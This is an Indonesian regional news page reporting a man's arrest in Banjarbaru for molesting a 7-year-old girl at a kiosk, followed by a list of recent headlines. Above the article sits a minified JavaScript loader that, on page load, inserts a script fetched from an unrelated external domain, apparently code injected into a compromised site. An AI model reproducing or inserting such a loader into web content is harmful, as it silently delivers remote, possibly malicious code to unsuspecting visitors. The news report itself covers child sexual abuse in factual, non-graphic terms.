(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

‘Mainkan’ Tangan ke Dalam Celana Bocah Dua Kali, Pria 52 Tahun Ngakunya Khilaf


KANALKALIMANTAN.COM, BANJARBARU – Polsek Banjarbaru Barat menangkap seorang lelaki berinisial B (52) warga jalan A Yani jurusan Pelaihari, atas dugaan melakukan pencabulan terhadap anak di bawah umur.

Aksi amoral yang dilakukan B itu terjadi pada Kamis (18/2/2021) kemarin. Menurut informasi, ia mencabuli seorang anak berusia 7 tahun di sebuah kios, di Jalan A Yani jurusan Pelaihari, Kecamatan Liang Anggang, Kota Banjarbaru.

Kapolsek Banjarbaru Barat, Kompol Andri Hutagalung, membeberkan kronologi kejadian, dimana saat itu korban sedang ditinggal sendiri di sebuah kios, lantaran orangtuanya mencari persediaan gas LPG. Namun betapa terkejutnya orangtua korban saat kembali ke kios, buah hatinya sudah dalam keadaan menangis dan tampak terlihat shock.

“Berdasarkan pengakuan korban kepada orangtuanya, seorang lelaki mampir ke kios. Kemudian lelaki tersebut mencabuli korban, dengan memasukan tangannya ke celana korban. Korban menangis dan lari masuk ke WC,” cerita Kapolsek, Jumat (19/2/2021).

Belum cukup sampai di situ. Korban yang awalnya mengira pelaku sudah pergi memutuskan untuk keluar dari WC. Nahasnya, pelaku masih menunggu dan kemudian melakukan perbuatan yang sama terhadap korban.

“Pelaku kembali memasukan tangannya ke celana korban. Setelah itu pelaku langsung pergi dan sempat berucap kepada korban terima kasih. Atas kejadian ini korban mengalami trauma,” beber Kompol Andri.

Mendapati laporan adanya kasus pencabulan anak di bawah umur, pihak kepolisian memulai penyelidikan. Tak butuh lama hingga akhirnya petugas mendapati informasi bahwa pelaku sedang berada di rumahnya. Pelaku berhasil diringkus tanpa perlawanan apapun.

Kapolsek Banjarbaru Barat mengungkapkan bahwa dari hasil interogasi, pelaku mengakui khilaf telah melakukan aksi cabulnya tersebut. “Pelaku merasa khilaf karena melihat korban sendirian di kios. Pelaku juga mengakui melakukan hal tersebut sebanyak 2 kali kepada korban,” tuntas Kompol Andri. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 


Al Ghifari

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

15 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

17 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

17 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

22 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

23 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.